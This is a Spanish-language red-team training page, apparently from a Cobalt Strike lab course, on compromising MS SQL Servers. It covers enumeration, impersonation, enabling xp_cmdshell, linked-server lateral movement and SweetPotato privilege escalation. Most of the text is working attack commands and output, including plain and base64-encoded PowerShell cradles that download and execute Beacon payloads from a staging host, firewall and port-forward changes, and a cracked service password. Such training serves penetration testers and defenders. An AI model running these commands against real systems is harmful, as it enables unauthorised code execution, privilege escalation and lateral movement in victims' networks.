Saltar a contenido

MS SQL Servers

MS SQL Servers

Microsoft SQL Server es un sistema de gestión de bases de datos relacional comúnmente encontrado en entornos Windows. Generalmente se utilizan para almacenar información que respalda una multitud de funciones empresariales. Además de las obvias oportunidades de robo de datos, también tienen una gran superficie de ataque, permitiendo la ejecución de código, escalamiento de privilegios, movimiento lateral y persistencia.

PowerUpSQL y SQLRecon son herramientas excelentes para enumerar e interactuar con MS SQL Servers.

PowerUpSQL tiene algunos cmdlets disponibles para encontrar MS SQL Servers, incluyendo Get-SQLInstanceDomain, Get-SQLInstanceBroadcast y Get-SQLInstanceScanUDP.

beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
beacon> powershell Get-SQLInstanceDomain

ComputerName     : sql-2.dev.cyberbotic.io
Instance         : sql-2.dev.cyberbotic.io,1433
DomainAccountSid : 1500000521000672332383313895871914512914091400
DomainAccount    : mssql_svc
DomainAccountCn  : MS SQL Service
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql-2.dev.cyberbotic.io:1433
LastLogon        : 8/15/2022 7:55 PM
Description      :

Get-SQLInstanceDomain funciona buscando SPNs que comiencen con MSSQL*. Este resultado muestra que SQL-2 está ejecutando una instancia de MS SQL Server, bajo el contexto de la cuenta de dominio mssql_svc. También puedes buscar en el dominio grupos que parezcan tener acceso a instancias de bases de datos (por ejemplo, un grupo "SQL Admins").

Get-SQLConnectionTest puede ser utilizado para probar si podemos conectarnos a la base de datos.

beacon> powershell Get-SQLConnectionTest -Instance "sql-2.dev.cyberbotic.io,1433" | fl

ComputerName : sql-2.dev.cyberbotic.io
Instance     : sql-2.dev.cyberbotic.io,1433
Status       : Accessible

Luego, usa Get-SQLServerInfo para recopilar más información sobre la instancia.

beacon> powershell Get-SQLServerInfo -Instance "sql-2.dev.cyberbotic.io,1433"

ComputerName           : sql-2.dev.cyberbotic.io
Instance               : SQL-2
DomainName             : DEV
ServiceProcessID       : 2668
ServiceName            : MSSQLSERVER
ServiceAccount         : DEV\mssql_svc
AuthenticationMode     : Windows Authentication
ForcedEncryption       : 0
Clustered              : No
SQLServerVersionNumber : 15.0.2000.5
SQLServerMajorVersion  : 2019
SQLServerEdition       : Standard Edition (64-bit)
SQLServerServicePack   : RTM
OSArchitecture         : X64
OsVersionNumber        : SQL
Currentlogin           : DEV\bfarmer
IsSysadmin             : No
ActiveSessions         : 1

Info

Si hay múltiples SQL Servers disponibles, puedes encadenar estos comandos para automatizar la recopilación de datos.

beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

SQLRecon también puede enumerar servidores a través de SPNs y obtener información sobre la instancia con el módulo info.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /enum:sqlspns

[*] Looking for MSSQL SPNs ...
[*] 1 found.

 |-> ComputerName:  sql-2.dev.cyberbotic.io
 |-> Instance:      sql-2.dev.cyberbotic.io:1433
 |-> AccountSid:    S-1-5-21-569305411-121244042-2357301523-1115
 |-> AccountName:   mssql_svc
 |-> AccountCn:     MS SQL Service
 |-> Service:       MSSQLSvc
 |-> SPN:           MSSQLSvc/sql-2.dev.cyberbotic.io:1433
 |-> LastLogon:     1/24/0423 12:48:15 PM

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /module:info

[*] Extracting SQL Server information from sql-2.dev.cyberbotic.io

 |-> ComputerName:           SQL-2
 |-> DomainName:             DEV
 |-> ServicePid:             4388
 |-> ServiceName:            MSSQLSERVER
 |-> ServiceAccount:         DEV\mssql_svc
 |-> AuthenticationMode:     Windows Authentication
 |-> ForcedEncryption:       0
 |-> Clustered:              No
 |-> SqlServerVersionNumber: 15.0.2000.5
 |-> SqlServerMajorVersion:  2019
 |-> SqlServerEdition:       Standard Edition (64-bit)
 |-> SqlServerServicePack:   RTM
 |-> OsArchitecture:         X64
 |-> OsVersionNumber:        2022
 |-> CurrentLogin:           DEV\bfarmer
 |-> IsSysAdmin:             No
 |-> ActiveSessions:         1

La opción /auth:wintoken permite a SQLRecon usar el token de acceso del Beacon. Este resultado muestra que, aunque la base de datos es accesible, nuestro usuario actual, bfarmer, no es un sysadmin. SQLRecon tiene un módulo útil que puede mostrarnos qué roles tenemos.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:whoami

[*] Determining user permissions on sql-2.dev.cyberbotic.io,1433
[*] Logged in as DEV\bfarmer
[*] Mapped to the user guest
[*] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is NOT a member of sysadmin role.
 |-> User is NOT a member of setupadmin role.
 |-> User is NOT a member of serveradmin role.
 |-> User is NOT a member of securityadmin role.
 |-> User is NOT a member of processadmin role.
 |-> User is NOT a member of diskadmin role.
 |-> User is NOT a member of dbcreator role.
 |-> User is NOT a member of bulkadmin role.

En instalaciones predeterminadas, los usuarios estándar no tienen este rol "public" por defecto y deben ser asignados explícitamente a través de SQL Server Manager Studio (SSMS). La información mencionada anteriormente sobre una instancia SQL no puede ser enumerada si el contexto de seguridad del usuario no tiene un rol válido.

Encontrar un usuario (o grupo) que tenga acceso puede ser un desafío, porque sin la capacidad de consultar la instancia SQL para preguntarle, puedes quedar atascado adivinando. Una opción es buscar grupos de dominio con nombres apropiados y sus miembros.

beacon> powershell Get-DomainGroup -Identity *SQL* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }

GroupName     MemberName
---------     ----------
MS SQL Admins jking

Otra opción es ir tras la cuenta de servicio de MS SQL, ya que a menudo también se le otorgan privilegios de sysadmin. Esta suposición es la base del camino de ataque SQLAdmin de BloodHound. Sabemos que la cuenta de dominio utilizada para ejecutar el servicio es DEV\mssql_svc y que la cuenta es kerberoastable debido a su SPN. Si podemos descifrar su contraseña en texto claro, podemos usarla para obtener acceso a la instancia SQL. Las credenciales pueden ser utilizadas con make_token en Beacon y /a:WinToken en SQLRecon; o la opción /a:WinDomain con /d:<domain> /u:<username> /p:<password> en SQLRecon directamente.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:windomain /d:dev.cyberbotic.io /u:mssql_svc /p:Cyberb0tic /h:sql-2.dev.cyberbotic.io,1433 /m:whoami

[*] Determining user permissions on sql-2.dev.cyberbotic.io,1433
[*] Logged in as DEV\mssql_svc
[*] Mapped to the user dbo
[*] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is a member of sysadmin role.
 |-> User is a member of setupadmin role.
 |-> User is a member of serveradmin role.
 |-> User is a member of securityadmin role.
 |-> User is a member of processadmin role.
 |-> User is a member of diskadmin role.
 |-> User is a member of dbcreator role.
 |-> User is a member of bulkadmin role.

Una vez que tengamos acceso, hay varias opciones para emitir consultas contra una instancia SQL. Get-SQLQuery de PowerUpSQL:

beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select @@servername"

Column1
-------
SQL-2

SQLRecon:

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:query /c:"select @@servername"

[*] Executing 'select @@servername' on sql-2.dev.cyberbotic.io,1433
column0 | 
----------
SQL-2 |

mssqlclient.py de Impacket a través de proxychains:

ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-2): Line 1: Changed database context to 'master'.
[*] INFO(SQL-2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL> select @@servername;

--------------------------------------------------------------------------------------------------------------------------------

SQL-2

O un GUI SQL para Windows, como HeidiSQL vía Proxifier:


MS SQL Impersonation

MS SQL impersonation, o cambio de contexto, es un método que permite al usuario en ejecución asumir los permisos de otro usuario sin necesidad de conocer su contraseña. Un caso de uso útil para esta función es permitir que los administradores se hagan pasar por un usuario con fines de prueba, por ejemplo, cuando un usuario tiene un problema y se quiere descartar los permisos como causa del problema.

Las impersonaciones deben ser otorgadas explícitamente a través de configuraciones de seguridad.

En este ejemplo, DEV\Domain Users han recibido la capacidad de hacerse pasar por la cuenta DEV\mssql_svc. Esto es claramente un problema de seguridad porque otorga a todos los Domain Users privilegios de sysadmin en esta instancia.

Podemos descubrir cuentas para impersonar manualmente usando las siguientes consultas:

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

Esto muestra que el grantee_principal_id, 268, tiene permiso para impersonar al grantor_principal_id, 267. Los IDs no significan mucho, así que podemos consultarlos con:

SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;

Aquí, vemos que 267 es DEV\mssql_svc y 268 es DEV\Domain Users.

También puedes escribir tu propia consulta SQL que relacione estos dos, o usar el módulo de impersonación de SQLRecon.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:impersonate

[*] Enumerating accounts that can be impersonated on sql-2.dev.cyberbotic.io,1433
name | 
-------
DEV\mssql_svc |

Podemos aprovechar esto como bfarmer, quien sabemos que no es un sysadmin.

SELECT SYSTEM_USER;
DEV\bfarmer

SELECT IS_SRVROLEMEMBER('sysadmin');
0

Usa EXECUTE AS para ejecutar una consulta en el contexto del objetivo.

EXECUTE AS login = 'DEV\mssql_svc'; SELECT SYSTEM_USER;
DEV\mssql_svc

EXECUTE AS login = 'DEV\mssql_svc'; SELECT IS_SRVROLEMEMBER('sysadmin');
1

Los módulos de SQLRecon también pueden ejecutarse en "impersonation mode" prefijando el nombre del módulo con una i y especificando el principal a impersonar.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:iwhoami /i:DEV\mssql_svc

[*] Determining user permissions on sql-2.dev.cyberbotic.io,1433 as 'DEV\mssql_svc'
[*] Logged in as DEV\mssql_svc
[*] Mapped to the user dbo
[*] [+] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is a member of sysadmin role.
 |-> User is a member of setupadmin role.
 |-> User is a member of serveradmin role.
 |-> User is a member of securityadmin role.
 |-> User is a member of processadmin role.
 |-> User is a member of diskadmin role.
 |-> User is a member of dbcreator role.
 |-> User is a member of bulkadmin role.

MS SQL Command Execution

El procedimiento xp_cmdshell puede ser utilizado para ejecutar comandos shell en el servidor SQL si tienes privilegios de sysadmin. Invoke-SQLOSCmd de PowerUpSQL proporciona un medio sencillo para utilizarlo.

beacon> powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults

dev\mssql_svc

Esto fallará si lo intentas manualmente en Heidi o mssqlclient, porque xp_cmdshell está deshabilitado.

SQL> EXEC xp_cmdshell 'whoami';
[-] ERROR(SQL-2): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server.

Para enumerar el estado actual de xp_cmdshell, usa:

SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

Un valor de 0 muestra que xp_cmdshell está deshabilitado. Para habilitarlo:

sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Consulta nuevamente sys.configurations y el valor de xp_cmdshell debería ser 1; y xp_cmdshell ahora también funcionará.

OPSEC

Si vas a realizar este tipo de cambio de configuración en un objetivo, debes asegurarte de devolverlo a su valor original después.

La razón por la que esto funciona con Invoke-SQLOSCmd es porque intentará habilitar xp_cmdshell automáticamente si no lo está, ejecutar el comando dado y luego lo deshabilitará nuevamente. Este es un buen ejemplo de por qué debes estudiar tus herramientas antes de usarlas, para saber qué está ocurriendo en segundo plano.

SQLRecon también tiene un módulo para interactuar con la configuración de xp_cmdshell, que puede combinarse con el módulo de impersonación.

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:ienablexp /i:DEV\mssql_svc

[*] Enabling xp_cmdshell as 'DEV\mssql_svc' on sql-2.dev.cyberbotic.io,1433
[+] SUCCESS: Enabled xp_cmdshell on sql-2.dev.cyberbotic.io,1433.
name | value | 
---------------
xp_cmdshell | 1 |

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:ixpcmd /i:DEV\mssql_svc /c:ipconfig

[*] Executing 'ipconfig' as 'DEV\mssql_svc' on sql-2.dev.cyberbotic.io,1433.
output | 
---------
 | 
Windows IP Configuration | 
 | 
 | 
Ethernet adapter Ethernet: | 
 | 
   Connection-specific DNS Suffix  . : ec2.internal | 
   IPv4 Address. . . . . . . . . . . : 10.10.122.25 | 
   Subnet Mask . . . . . . . . . . . : 255.255.254.0 | 
   Default Gateway . . . . . . . . . : 10.10.122.1 | 
 |

Con la ejecución de comandos, podemos avanzar hacia la ejecución de un payload Beacon. Como con otros servidores en el laboratorio, los servidores SQL no pueden comunicarse directamente con nuestro servidor de equipo para descargar un payload alojado. En cambio, debemos configurar un reverse port forward para canalizar ese tráfico a través de nuestra cadena C2.

beacon> run hostname
wkstn-2

beacon> getuid
[*] You are DEV\bfarmer (admin)

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80

Luego, aloja smb_x64.ps1 en /b en el servidor de equipo. Sabemos que SMB funcionará porque podemos validar que el puerto 445 está abierto en el servidor SQL objetivo.

beacon> portscan 10.10.122.25 445
(ICMP) Target '10.10.122.25' is alive. [read 8 bytes]
10.10.122.25:445 (platform: 500 version: 10.0 name: SQL-2 domain: DEV)
Scanner module is complete

Ahora podemos descargar y ejecutar el payload, por ejemplo:

powershell -w hidden -c "iex (new-object net.webclient).downloadstring('http://wkstn-2:8080/b')"

O

powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBiACcAKQA=

Supervisa tu log web para saber cuándo se ha obtenido el payload.

01/05 15:09:07 visit (port 80) from: 127.0.0.1
    Request: GET /b
    page Serves /home/attacker/cobaltstrike/uploads/smb_x64.ps1
    null

Luego puedes vincularte al Beacon.

beacon> link sql-2.dev.cyberbotic.io TSVCPIPE-ae2b7dc0-4ebe-4975-b8a0-06e990a41337
[+] established link to child beacon: 10.10.122.25

Info

¿Qué payload usarías si el puerto 445 estuviera cerrado? Experimenta usando el pivot listener aquí en lugar de SMB.


MS SQL Command Execution Demo


MS SQL Lateral Movement

SQL Servers tienen un concepto llamado "links", que permite que una instancia de base de datos acceda a datos desde una fuente externa. MS SQL admite múltiples fuentes, incluidas otras MS SQL Servers. Estas también pueden estar prácticamente en cualquier lugar, incluidos otros dominios, forests o en la nube.

Podemos descubrir cualquier link que tenga la instancia actual:

SELECT srvname, srvproduct, rpcout FROM master..sysservers;

Esto muestra que SQL-2 tiene un link a SQL-1. El módulo links de SQLRecon también podría utilizarse.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:links

[*] Additional SQL links on sql-2.dev.cyberbotic.io,1433
name | product | provider | data_source | 
------------------------------------------
SQL-1.CYBERBOTIC.IO | SQL Server | SQLNCLI | SQL-1.CYBERBOTIC.IO |

Podemos enviar consultas SQL a servidores vinculados usando OpenQuery:

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');

Info

El uso de comillas dobles y simples es importante cuando se utiliza OpenQuery.

O con SQLRecon:

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lquery /l:sql-1.cyberbotic.io /c:"select @@servername"

[*] Executing 'select @@servername' on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
column0 | 
----------
SQL-1 |

También podemos verificar el estado de xp_cmdshell.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lquery /l:sql-1.cyberbotic.io /c:"select name,value from sys.configurations WHERE name = ''xp_cmdshell''"

[*] Executing 'select name,value from sys.configurations WHERE name = ''xp_cmdshell''' on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
name | value | 
---------------
xp_cmdshell | 0 |

Si xp_cmdshell está deshabilitado, no podrás habilitarlo ejecutando sp_configure a través de OpenQuery. Si RPC Out está habilitado en el link (lo cual no es la configuración predeterminada), entonces puedes habilitarlo usando la siguiente sintaxis:

EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]

Info

Se requieren los corchetes cuadrados.

Podemos consultar SQL-1 para averiguar si tiene más links.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:llinks /l:sql-1.cyberbotic.io

[*] Additional SQL links on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
[+] No results.

En este caso no los tiene, pero consultar manualmente cada servidor para encontrar links adicionales puede ser tedioso y llevar mucho tiempo. En su lugar, Get-SQLServerLinkCrawl puede rastrear automáticamente todos los links disponibles y mostrar un poco de información para cada instancia.

beacon> powershell Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"

Version     : SQL Server 2019 
Instance    : SQL-2
CustomQuery : 
Sysadmin    : 1
Path        : {SQL-2}
User        : DEV\bfarmer
Links       : {SQL-1.CYBERBOTIC.IO}

Version     : SQL Server 2019 
Instance    : SQL-1
CustomQuery : 
Sysadmin    : 1
Path        : {SQL-2, SQL-1.CYBERBOTIC.IO}
User        : sa
Links       :

Esta salida muestra que el link de SQL-2 a SQL-1 está configurado con una cuenta local sa y que tiene privilegios de sysadmin en el servidor remoto. Tu nivel de privilegio en el servidor vinculado dependerá de cómo esté configurado el link. Es importante destacar que, en este caso particular, cualquier usuario que tenga acceso público de lectura a la instancia de base de datos SQL-2 heredará derechos de sysadmin en SQL-1. No necesitamos ser sysadmin en SQL-2 primero.

El módulo lwhoami en SQLRecon puede mostrar información similar.

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lwhoami /l:sql-1.cyberbotic.io

[*] Determining user permissions on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
[*] Logged in as sa
[*] Mapped to the user dbo
[*] Roles:
 |-> User is a member of public role.
 |-> User is NOT a member of db_owner role.
 |-> User is NOT a member of db_accessadmin role.
 |-> User is NOT a member of db_securityadmin role.
 |-> User is NOT a member of db_ddladmin role.
 |-> User is NOT a member of db_backupoperator role.
 |-> User is NOT a member of db_datareader role.
 |-> User is NOT a member of db_datawriter role.
 |-> User is NOT a member of db_denydatareader role.
 |-> User is NOT a member of db_denydatawriter role.
 |-> User is a member of sysadmin role.
 |-> User is a member of setupadmin role.
 |-> User is a member of serveradmin role.
 |-> User is a member of securityadmin role.
 |-> User is a member of processadmin role.
 |-> User is a member of diskadmin role.
 |-> User is a member of dbcreator role.
 |-> User is a member of bulkadmin role.

Para ejecutar un Beacon en SQL-1, podemos repetir prácticamente los mismos pasos que antes. Sin embargo, ten en cuenta que SQL-1 puede solo ser capaz de comunicarse con SQL-2 y no con WKSTN-2 u otra máquina en el dominio DEV.

beacon> run hostname
sql-2

beacon> getuid
[*] You are DEV\mssql_svc (admin)

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80

Puedes usar xp_cmdshell en un servidor vinculado a través de OpenQuery (nota que necesitas agregar una consulta dummy) para que funcione.

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAGIAJwApAA==''')

O puedes usar la sintaxis "AT":

EXEC('xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAGIAJwApAA==''') AT [sql-1.cyberbotic.io]

SQLRecon también tiene un módulo conveniente lxpcmd.

Una vez que se ha ejecutado la payload, conecta con el Beacon.

beacon> link sql-1.cyberbotic.io TSVCPIPE-ae2b7dc0-4ebe-4975-b8a0-06e990a41337
[+] established link to child beacon: 10.10.120.25


MS SQL Lateral Movement Demo


MS SQL Privilege Escalation

Esta instancia de SQL se está ejecutando como NT Service\MSSQLSERVER, que es la configuración predeterminada en instalaciones más modernas de SQL. Tiene un tipo especial de privilegio llamado SeImpersonatePrivilege, que permite a la cuenta "suplantar a un cliente después de la autenticación".

beacon> getuid
[*] You are NT Service\MSSQLSERVER

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges

====== TokenPrivileges ======

Current Token's Privileges

                SeAssignPrimaryTokenPrivilege:  DISABLED
                     SeIncreaseQuotaPrivilege:  DISABLED
                      SeChangeNotifyPrivilege:  SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
                       SeImpersonatePrivilege:  SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
                      SeCreateGlobalPrivilege:  SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
                SeIncreaseWorkingSetPrivilege:  DISABLED

[*] Completed collection in 0.037 seconds

En pocas palabras, este privilegio permite al usuario suplantar un token al que pueda obtener acceso. Sin embargo, dado que esta cuenta no es un administrador local, no puede simplemente obtener acceso a un proceso con mayores privilegios (por ejemplo, SYSTEM) que ya se esté ejecutando en la máquina. Una estrategia que muchos autores han desarrollado es forzar a un servicio SYSTEM a autenticarse en un servicio falso creado por el atacante. Este servicio falso es entonces capaz de suplantar al servicio SYSTEM mientras intenta autenticarse.

SweetPotato tiene una colección de estas diversas técnicas que pueden ejecutarse a través del comando execute-assembly de Beacon.

beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAGMAJwApAA=="

SweetPotato by @_EthicalChaos_
  Orignal RottenPotato code and exploit by @foxglovesec
  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
  PrintSpoofer discovery and original exploit by @itm4n
  EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam
[+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[+] Triggering notification on evil PIPE \\sql-1/pipe/b888d569-b66e-4280-b8c5-995afbb9b02c
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.120.25


MS SQL Privilege Escalation Demo